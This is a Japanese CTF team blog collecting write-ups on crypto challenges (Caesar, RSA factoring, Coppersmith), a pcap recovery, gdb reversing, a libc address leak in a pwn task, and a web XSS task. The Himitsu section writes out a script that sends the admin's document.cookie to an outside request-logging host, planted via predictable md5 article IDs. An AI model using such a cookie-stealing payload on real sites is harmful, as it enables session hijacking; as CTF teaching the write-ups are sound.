SECCON Beginners CTF 2018 Crypto Writeup(+2) Crypto道場②[4/100]

どうも。duckです。
happy!解くのは明日にさせてください。
昨日上げようとしてたやつ先にあげちゃいます。

1.[Warmup] Veni, vidi, vici
fileが3つあったらしい。

#part1
Gur svefg cneg bs gur synt vf: pgs4o{a0zber

#part2
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

#part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

part1,2はceaser暗号なので昔作ったpythonファイルにぶち込むとすぐ答えが出た。
(そのうちgitにあげる予定)

part3は自力で反転した。

flag:ctf4b{n0more_cLass!cal_cRypt0graphy}


2.RSA is Power

次のファイルが渡されたらしい。

RSA暗号ですね。

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

Nの桁数を数えてみたら77桁だった。bit数に換算すると
77*\log_{10}2 \approx 256
256bitとNが非常に小さいので素因数分解攻撃が有効である。

from Crypto.Util.number import long_to_bytes

def gcd(a,b):
    while b != 0:
        r = a % b
        a = b
        b = r
    return a

#ax+by=gcd(a,b)の解[x,y]
def extend_gcd(a,b):
    k_list=[]
    while b != gcd(a,b):
        r = a % b
        k_list.append((a - r) // b)
        a = b
        b = r
    k_list.reverse()
    y = 1
    x = 0
    for k in k_list:
        temp_y = y
        y = x - k * temp_y
        x = temp_y
    return [x,y]

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

p=299681192390656691733849646142066664329
q=324144336644773773047359441106332937713
phi=(p - 1)*(q - 1)

d = int(extend_gcd(phi,E)[1]) % phi
print(long_to_bytes(pow(C,d,N)))

simpyを使ってたけど、素因数分解が1日たっても終わらない。
仕方ないのでsagemath入れたら数分で解けた。素晴らしい。

ctf4b{5imple_rs4_1s_3asy_f0r_u}

でたぞい!

TWCTF 5TH 2019 Crypto Writeup(+1) Crypto道場③[5/100] happy!

どうも。duckです。
TWCTF Happy!のwriteup書きます。

flag.enc
Dropbox - flag.enc - Simplify your life
happy
Dropbox - happy - Simplify your life
pub.key
Dropbox - pub.key - Simplify your life
Gemfile
Dropbox - pub.key - Simplify your life
Gemfile.lock
Dropbox - Gemfile.lock - Simplify your life

おいおいGemfileなんて知らねえよって人は、bundllerでぐぐるといいです。
gem installしてもいいけど。


バイナリファイルが読めないので、以下のコードをhappyファイルの適当な場所にはりつけて
実行します。

def show_key()
        puts "n"
        puts @attr[:n]
        puts "e"
        puts @attr[:e]
        puts "p"
        puts @attr[:p]
        puts "q"
        puts @attr[:q]
        puts "d1"
        puts @attr[:d1]
        puts "d2"
        puts @attr[:d2]
        puts "cf"
        puts @attr[:cf]
end

pubkey = Key.import(File.binread("pub.key"))
pubkey.show_key()

Nとeは公開鍵だから当然としてcfも見れます。
これも公開鍵なんかなあと思ってたんですが、ほかの方のwriteup読むとどうやら見せちゃいけないやつらしいですね。
ほうほう。

コード読むと
N=p*q^k
で、pとqは700bit以上の整数らしいです。
Nとcfわかってるんだからbit数を数えればk求まるんじゃね?
(cfはmod q^kだからだいたいq^kくらいのbit数になる。)

というわけで数えたら、
N:2200とか
cf:1500くらい
だったので、kは2です。

ここでcfにkをぶち込むと
 cf \equiv p^{q*(q - 1) - 1} mod q ^2
でした。
なんだこれオイラーの定理使えるじゃん。
オイラーのトーシェント関数とかで調べて。オイラーの定理って名前の定理は死ぬほどあるので探すの大変です多分。)
cf \equiv p^{-1} mod q ^2
つまりこれが成り立ちます。

本番はここでギブアップ。
この先はcoppersmith's の定理を使うらしいです。

定理は書くのめんどうなので引用先をご覧ください。
要約すると
f(x) \equiv 0 mod bとなる解x_0(mod bじゃないのに注意)はある条件を満たしているときはすぐ求まるよということ。
しかもbがわからなくても大丈夫という意味不明さ。すうがくすごい。

今回は
cf \equiv p^{-1} mod q ^2
p * cf \equiv 1 (mod q^2)
p - cf^{-1} \equiv 0 (mod q^2)
であり、
f(p) = p - cf^{-1}とするとこの定理が使える条件を満たします。

あっさり出ているcf^{-1}(mod q^2)cf^{-1} (mod N)の値をぶち込んでおけばいいです。
よく考えるとわかります。

sagemathのsmall_root関数を使うとめでたくpが出ます。正確には候補ですが。
あとはq^2=N/pからさくっとqを計算して
pとqがわかったら復号関数にぶち込みましょう。

わたしはgenerate_key(k,bits)関数の中のpとqを求めたやつにして、keyをつくって
そのkey とflag.encをprivate_decrypt(str, pad = true)にぶん投げて復号してもらいました。

flag = File.binread("flag.enc")
#第一引数は意味なし k=2
key = Key.generate_key(1, 2)
File.binwrite("answer", key.private_decrypt(flag))

TWCTF{I_m_not_sad__I_m_happy_always}
解けた。

なんかtexの使い方忘れすぎてる。
modが斜体だし、cfはfにしか-1かかってないし。
どうやるんだっけね。気持ち悪い。
今度調べときます。

今日はN1CTFやるぞ。

引用:
TokyoWesterns CTF 5th 2019: Happy! (Crypto, 242 pts, 36 solves) | void main

TWCTF 5TH 2019 Crypto Writeup(+2) Crypto道場[2/100]

おひさしぶりです。duckです。
最近全くCTFをやっていないのでCrypto道場と題してCrypt100題解くまで頑張る会やります。
解説は最小限にするので、わからないところはコメントいただければ気が付き次第対応します。
応援よろしく!

さて記念すべき最初の問題は
今週末に行われたTWCTFから2題解いたのでそこから。

1.real-baby-rsa
 与えられたのはcodeとoutputファイル。

flag = 'TWCTF{CENSORED}'
# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

# Encrypt the flag!
for char in flag:
    print(pow(ord(char), e, N))

output
Dropbox - output - Simplify your life
code
Dropbox - problem.py - Simplify your life


flagとして使われる文字列を推測してencryptしてoutputファイルの中身と比較するだけ。

flag = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}'

# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

enc=[]
ans=""
for char in flag:
    enc.append(str(pow(ord(char), e, N)) + "\n")

with open("output", mode='r') as f:
        lines=f.readlines()
        for line in lines:
            k=0
            for encnum in enc:
                if encnum == line:
                    ans = ans + flag[k]
                    break
                k=k+1

print (ans)

flag:TWCTF{padding_is_important}

2. simple_logic
codeとoutputファイルが配布。
code
Dropbox - encrypt.rb - Simplify your life
output
Dropbox - output - Simplify your life

code:
 message + key
 message XOR keyを765回繰り返す暗号化方式。
output:
 暗号化されたflagと平文と暗号文のペア6つが与えられる。どれも同じkeyで暗号化されたものと推測される。
(出なきゃ解けない)

指針:
keyは下位ビットから順番に決めていけることに気が付いたので、4bitずつ*32回でkeyを復元。
key復元の際には与えられたペアの暗号化が正しく行えるかどうかを用いた。

require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def encrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = (enc + key) & mask
        enc = enc ^ key
    end
    enc
end

def decrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = enc ^ key
        enc = (enc - key) & mask
    end
    enc
end

#4bitずつ下位ビットを埋めていく再帰的運用
def DecideLowestBit(relowbitkey,lowestbit)
    #encrypt(plain_example[i])=enc_exsample[i]
    plain_example=[0x29abc13947b5373b86a1dc1d423807a,0xeeb83b72d3336a80a853bf9c61d6f254,0x7a0e5ffc7208f978b81475201fbeb3a0,
    0xc464714f5cdce458f32608f8b5e2002e,0xf944aaccf6779a65e8ba74795da3c41d,0x552682756304d662fa18e624b09b2ac5]
    enc_exsample=[0xb36b6b62a7e685bd1158744662c5d04a,0x614d86b5b6653cdc8f33368c41e99254,0x292a7ff7f12b4e21db00e593246be5a0,
    0x64f930da37d494c634fa22a609342ffe,0xaa3825e62d053fb0eb8e7e2621dabfe7,0xf2ffdf4beb933681844c70190ecf60bf]
    ans_low_key=[]

    maxloop=2 ** 4
    for loop in 1..maxloop do
        #決定した下位ビット+未決定の上位ビット
        templowbitkey=relowbitkey | (loop << (lowestbit - 4))
        mask=(1 << lowestbit) - 1
        for pair in 0..(PAIRS - 1) do
            lowplain=plain_example[pair] & mask
            lowenc=enc_exsample[pair] & mask
            if (encrypt(lowplain,templowbitkey)) & mask != lowenc then
                break
            end
        end
        if pair == (PAIRS - 1) then
            ans_low_key.push(templowbitkey)
        end
    end
    return ans_low_key
end

def CalcKey
    key_array=[0]
    for loop in 1..32 do
        temp_array=[]
        key_array.each do |lowkey|
            decide_array=DecideLowestBit(lowkey,4*loop)
            decide_array.each do |decidekey|
                temp_array.push(decidekey)
            end
        end
        key_array=temp_array
    end
    return key_array
end

key_array=CalcKey()
encrypt_flag=0x43713622de24d04b9c05395bb753d437
key_array.each do |key|
    puts "ans %x" % decrypt(encrypt_flag,key)
end

flag:TWCTF{ade4850ad48b8d21fa7dae86b842466d}


phoenixの途中の記事が気になって夜も眠れない。

chickが送るBeginners CTF 2019 Dump(Misc)の解説

はじめまして、chickです。
DumpのWriteUpを書きます。

(ほぼ)ワンライナーなので参考にはなりにくいかも...

DLしたdumpファイルをWiresharkなどで開くと、こんな感じf:id:falconctf:20190616234413p:plainになる。
ざっと見た感じ、ICMP,TCP,HTTPのパケットしかないようなので、適当にHTTPパケットに目星をつけた。
とりあえず抽出したらWebshellでhexdumpを投げてるっぽいので、戻りパケットのHTMLファイルをエクスポート(追跡->HTTPストリーム->保存)する。f:id:falconctf:20190616234651p:plain

中を見たら8進数3文字区切りの文字列が出てきたので、読めるようにしていく。

cat dump_export | sed 1,17d | head -n -2 | tr " " "\n" | sed s/^/0/g | while read line; do printf %x\\n $line; done | sed /^.$/i0 | tr -d "\n" | xxd -r -p > bin_export
これでフラグが入っているファイルが復元できるので、小分けにして解説していきます。

cat dump_export <- エクスポートしたファイルをcatする。これをしないと何も始まらない。

sed 1,17d <- 1〜17行目がHTMLのタグとかヘッダ情報で邪魔だったので消す。

head -n -2 <- 末尾2行もタグの括りで邪魔だったので消す。

tr " " "\n" <- 16進数に変換するときにスペース区切りだと都合が悪いので改行させる。

sed s/^/0/g <- 3文字区切りだと16進数に変換するときに都合が悪かったので行頭に0を追加する。

while read line; do printf %x\\n $line; done <- printfコマンドで1行ずつ16進数に変換していく。

sed /^.$/i0 <- 16進数に変換したときに先頭に0を足してくれなかったので足す。

tr -d "\n" <- バイナリ的に改行が邪魔なので消す。

xxd -r -p > bin_export <- 16進数のバイナリをファイルに復元する

fileコマンドで見たらgzipだったので展開したらtarアーカイブファイルが出てきたので展開
ファイルの展開まで1行で書くなら、
cat dump_export | sed 1,17d | head -n -2 | tr " " "\n" | sed s/^/0/g | while read line; do printf %x\\n $line; done | sed /^.$/i0 | tr -d "\n" | xxd -r -p > bin_export && tar -zxf bin_export

画像ファイルが出てくるので、開いてみるとFlagが出てきた。
いつかtcpdumpコマンドとsed,awkあたりでダンプファイルのエクスポートまでワンライナーで書きたい。

duckが送るBeginners CTF 2019 Leakage(Reversing)の解説

お久しぶりです。duckです。
今回はLeakageの解説になります。なりますが、あんまりよくはわかってないです。よくわからないけど分岐で張ってたら解けました。
まあ書いていきましょう。前回が難易度高かったので、なるべく優しく書きます。

ファイルをDLしたら、tar.gzファイルなので ”tar -zxvf ファイル名”で解凍します。
(→[Linux]ファイルの圧縮、解凍方法 - Qiita)

謎のファイルleakageがゲットできたと思います。
謎なのでfileコマンドをうってみましょう。 

f:id:falconctf:20190602194232p:plain
leakage
と、このようにどんなfileかがわかってしまう優れものコマンドです。fileえらい!
いろいろ書いてありますが、1行目にだけ注目しましょう。ELFって書いてあります。なんかこれはWindowsでいうexeファイルのようなもので、つまりは実行ファイルらしいです。へー。そうなのか。
じゃあ実行しよう。実行は"./leakage"でできます。
怒られます。許可がありませんとかでます。
なのでchmodコマンドで許可します。
"chmod 774 leakage"か"chmod a+x leakage"とかでいけるでしょう。たぶん。
(→chmod コマンド - Qiita)

さて実行できるようになったので、実行してみましょう。
”./leakage”!!!怒られます。なんなんだまったく。

f:id:falconctf:20190602195123p:plain
angry
どうやら./leakage flagという感じで打ち込めよばーか。ということらしいです。
flag知らんがな。それを知りたいんだよ。
というわけで、なんとか"falcon"で手を打ってもらえないか聞いてみます。
f:id:falconctf:20190602195420p:plain
falcon
ダメでした。ですよね。

まあつまりこのプログラムからFLAGを取り出せればいいんでしょう。がんばるぞい。
というわけで、アセンブリ見た。
(→アセンブリに触れてみよう - Qiita
まずはGUIで見たいのでIDAで見てみた。(初心者が雑に紹介するCTF ~bin編~ - Qiita

f:id:falconctf:20190602201014p:plain
IDA
ふむ。まったくわからん。
どこで分岐するのかだけはわかった。引用したサイトにも書いてあるが、IDAはメモリの書き換えができない?らしいので分岐を見るためだけに使うことにした。

ということでここからはgdbというLinuxに標準で搭載せれているデバッガを使っていく。こいつはメモリ書き換えもできる。レジスタ書き換えもできる。えらい。
噂によるとcmpとtestという命令 が分岐をつかさどるといっても過言ではないようだ。
(正確には分岐に使われるフラグを書き換える人たち。分岐の操作はjzとかjeが行うらしい→インラインアセンブラで学ぶアセンブリ言語 第3回 (1/3):CodeZine(コードジン))
上の画像にもtest命令があるが、これはフェイクだ。
eaxレジスタを書き換えて、無理やり条件を満たさせてみたところ(やり方は後で)correctとでた。
それだけである。FLAGは教えてもらえない。悲しい。

ずいぶん遠回りしたが、次のステップに進もう。ぼんやりアセンブリを見てると怪しい関数がいることに気が付く。
そうis_correctだ。明らかにこいつが、FLAGと入力との比較を行っている関数だろう。
こいつを見る。

書くのに飽きてきたので明日続きを書く。
gdbについては
gdbの使い方のメモ - ももいろテクノロジー
のページを参考にさせていただいた。

phoenixが送るBeginners CTF 2019 OneLine(Pwn)の解説

はじめまして、チームfalconのヒーローことphoenixです。

本日より、Beginners CTF 2019のWriteUpを書い参ります。

待望の1回目は、OneLine(Pwn)です。

まず、Pwnのことを知らない人がいると思うので簡単に説明しておくと、 Pwnはサーバ上で動作しているプログラムの脆弱性を突いてflagをゲットする問題です。

例えば今回の問題では、 サーバが 153.120.129.186:10000(IPアドレス:ポート番号)であり、そのサーバにつないだ際に動作しているプログラムの脆弱性を突くことになります。 以下は、実際にサーバにつないだ際のプログラムの反応です。

$ nc 153.120.129.186 10000
You can input text here!
>>

今回はサーバプログラム(oneline)とそのプログラムが使う共有ライブラリ(libc-2.27.so)が用意されているため、それらをダウンロードしてローカル環境で脆弱性の解析を行います。

まずは、fileコマンドとchecksecを用いてonelineについての情報(ファイルタイプ,セキュリティ機構の有無)を調べます。

$ file oneline
oneline: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=34fd51e025f282f2e06259d36a690436147b04f3, not stripped

$checksec --file oneline
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   oneline

これより,onelineがx86_64環境で動作する実行ファイルであり,Full RELRO・PIE・NX bitのセキュリティ機構が施されているこが確認できます。

今回の問題においては,Full RELROとNX bitについて特に気にする必要はないのですが,PIEについては注意が必要です。 PIEは,実行ファイルを物理メモリ上にロードするときにランダムな位置に配置可能にするために,アドレス参照をすべて相対アドレスにするというものです。(以下の図を参考)

PIEが施されることによって,実行ファイル内の任意のアドレスの命令を実行させることの難易度が高くなってしまいます。(アドレスのリークを行い,相対アドレスから実行させたい命令のアドレスを求めるといった作業が必要になるため)

$objdump -d -M intel oneline
000000000000086d <main>:
 86d:   55                      push   rbp
 86e:   48 89 e5                mov    rbp,rsp
 871:   48 83 ec 10             sub    rsp,0x10
 875:   be 01 00 00 00          mov    esi,0x1
 87a:   bf 28 00 00 00          mov    edi,0x28
 87f:   e8 7c fe ff ff          call   700 <calloc@plt>
 884:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
     :

いきなり難しいことを考えても仕方がないので,とりあえず実行してみることにしましょう。

$ nc 153.120.129.186 10000
You can input text here!
>> A
A
                              @a  Once more again!
>> A
A

入力を2回求められたので,とりあえず2回とも'A'と入力してみました。 すると,1回目の'A'を入力したあとには,Once more again!という返事があり,2回目の'A'を入力した後には何も返事はなくプルグラムが終了してしまいました。

。。。 ちょっと1回目の返事に着目してみましょう。先ほどOnce more again!という返事があったと書きましたが,何やらその前に空白と@aという文字あることにお気づきでしょうか?

それでは,もう一度同じようにサーバにつないで'A'を入力してみましょう。

$ nc 153.120.129.186 10000
You can input text here!
>> A
A
                              @k'  Once more again!
>> A
A

.。。。 なんと,同じ入力にも関わらず今度は@aではなく@k'という返事がOnce more again!の前について返ってきたのです。

これらが何を表しているのかを調べるためhexdumpで出力した結果が次です。

$ echo A | ./oneline | hexdump -C
00000000  59 6f 75 20 63 61 6e 20  69 6e 70 75 74 20 74 65  |You can input te|
00000010  78 74 20 68 65 72 65 21  0a 3e 3e 20 41 0a 00 00  |xt here!.>> A...|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 b0 23 e2 b4  |.............#..|
00000040  ca 7f 00 00 4f 6e 63 65  20 6d 6f 72 65 20 61 67  |....Once more ag|
00000050  61 69 6e 21 0a 3e 3e 20                           |ain!.>> |
00000058

$ echo A | ./oneline | hexdump -C
00000000  59 6f 75 20 63 61 6e 20  69 6e 70 75 74 20 74 65  |You can input te|
00000010  78 74 20 68 65 72 65 21  0a 3e 3e 20 41 0a 00 00  |xt here!.>> A...|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 b0 d3 39 53  |..............9S|
00000040  59 7f 00 00 4f 6e 63 65  20 6d 6f 72 65 20 61 67  |Y...Once more ag|
00000050  61 69 6e 21 0a 3e 3e 20                           |ain!.>> |
00000058

Once more again の前の内容を確認すると,

b0 23 e2 b4 ca 7f

b0 d3 39 53 59 7f

勘の良い人はこれを逆から読んで,共有ライブラリの何かの関数のアドレスを示していることに気づくと思います。

実際にこのアドレスが何かを調べるために,ローカル環境のASLRを無効にし,gdbで調べてみます。

$ sudo sysctl kernel.randomize_va_space=0

$ echo A | ./oneline | hexdump -C
00000000  59 6f 75 20 63 61 6e 20  69 6e 70 75 74 20 74 65  |You can input te|
00000010  78 74 20 68 65 72 65 21  0a 3e 3e 20 41 0a 00 00  |xt here!.>> A...|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 b0 03 b0 f7  |................|
00000040  ff 7f 00 00 4f 6e 63 65  20 6d 6f 72 65 20 61 67  |....Once more ag|
00000050  61 69 6e 21 0a 3e 3e 20                           |ain!.>> |
00000058

$ gdb -q ./oneline
gdb-peda$ b main
gdb-peda$ r 
gdb-peda$ info  symbol 0x7ffff7b003b0
write in section .text of /lib/x86_64-linux-gnu/libc.so.6

どうやらwriteのアドレスがリークしているようですね。

(続く)

supereggが送るBeginners CTF 2019 Himitsu(web)の解説

こんにちは、supereggです。duckさん、タイトルを「CTFと共に生きる」にするという提案、賛成です(笑)

今回はBeginners CTF 2019のWebの問題であるHimitsuを初心者に向けで解説していこうと思います。

まず問題のサイトにアクセスします。
https://himitsu.quals.beginners.seccon.jp/

サイトにアクセスすると次のような画面が出てきます。
f:id:falconctf:20190529211744p:plain

とりあえず、登録してみましょう。

f:id:falconctf:20190529212123p:plain

作成してみましょう。

f:id:falconctf:20190529212237p:plain

下の方をを見ると、ページのタイトルを埋め込んだり、文字を太字で表示できるようです。

適当に記事を書いて投稿してみます
f:id:falconctf:20190529212856p:plain

すると「もし一人で秘密を抱えるのが大変であれば、ぜひ運営に共有してください。」といった文章が出てきます。怪しいですね。これは運営のヒントと考えます。

このヒントを考えてみると、運営に記事を送信し、記事を共有することにより、flagが得られるということが予想できます。ここで注目するワードは「共有」という部分です。相手に記事を読ませることによる攻撃、つまりXSSの可能性が高いです。

スクリプトをどうやって仕込んでいくか考えていきましょう。

ここでもらってコードを読んでいこうと思います。

コードを読んでいくと、ArticleController.phpの中に怪しいコメントがしてある部分を発見できます。

// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
preg_match_all('/\[#(.*?)#\]/', $body, $matches);
            foreach(range(0, count($matches)-1) as $i){
                $found_article_key = $matches[1][$i];
                $found_article = $mapper->getArticle($found_article_key);
                if (preg_match('/[<>"\']/', $found_article['title'])){
                    return $this->app->renderer->render($response, 'new.twig', [
                        'error_message' => '埋め込み先の記事タイトルが不正です。',
                        'title' => $data['title'],
                        'abstract' => $data['abstract'],
                        'body' => $data['body'],
                        'token' => $this->get_csrf_token($request)                        
                    ]);
                }
            }

ここで置き換えていけない、[#.....#]はタイトルを変更可能だから、ここで置き換えろと言っています。

どうやらこれは運営からのヒントと捉えることができるのではないでしょうか。

コードを読むと、本文に、[#....#]を埋め込んで投稿する際に、<,>が入っていると、エラー文を吐くように構成されています。つまり、予め作ってある記事のタイトルにスクリプトを埋め込んで呼び出すことはできないと分かります。

コメントの中の「replace」は、スクリプトを埋め込むこととして考えると、ここでreplaceしてはいけない、つまり投稿する際は無害のタイトルを呼び出すようにし、投稿した後にreplaceすることによってスクリプトを埋め込むことが出来る方法・・・???

サイトに本文を投稿した後にタイトルを変更する方法はないぞ??

ここでArticleMapping.php記事IDを生成している部分を見てみると、

public function createArticle($username, $title, $abstract, $body) {
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);

とあります。記事IDはユーザ名、日付、タイトルの3つの値を連結させた文字列をハッシュ関数であるmd5により生成されたハッシュ値であることが分かります。

ユーザ名、日付、タイトルの3つの値を使うということは何時にどのユーザでどのようなタイトルで投稿すると決めていれば、未来で投稿される記事IDを予め本文に埋め込むことができます。このように記事IDを未来予知できることがこのサイトの脆弱性です。

この脆弱性を突き、運営のクッキー情報を自分のwebサーバに送りようなjavascriptのコードを運営のブラウザで実行させ、盗むことにより、運営のログインページにアクセスしてflagを取ることがゴールです。

次のようなスクリプトを運営のブラウザで実行させることを考えます。

<script>document.write("<img src='http://requestbin.fullcontact.com/XXX/?" + document.cookie + ">'")</script>

このコードは、
http://requestbin.fullcontact.com/XXXというアドレスのドキュメントルートの中の?document.cookieという画像ファイルをページに表示させるというコードになります。(画像ファイルである必要はありません)document.cookieはブラウザのクッキー情報です。画像ファイルをサーバにリクエストを送らせることが目的です。

今回は自分でwebサーバを立てるのはめんどくさいので、
requestbin.fullcontact.com
というHTTPリクエストをみることができるwebサービスを使っています。

それでは、未来の記事IDを生成しましょう。

egg2019/05/29 23:<script>document.write("<img src='http://requestbin.fullcontact.com/xxxxxxx/?" + document.cookie + ">'")</script>

Linuxだと上記の内容のテキストファイルを作成したあと、

$md5sum テキストファイル名

で生成できます。

記事IDが生成できたら、本文に記事IDを[#...#]を使って埋め込んで記事を生成します。(この際、タイトルなどはなんでも構いません)

次に先ほどテキストファイルに記述した日時に、テキストファイルで指定したjavascriptのコードを書いて投稿します。

この段階で先ほど投稿した記事を開くとスクリプトが発動するようになっています。

よってこのスクリプトを仕込んだ記事を運営に送り付けてやりましょう。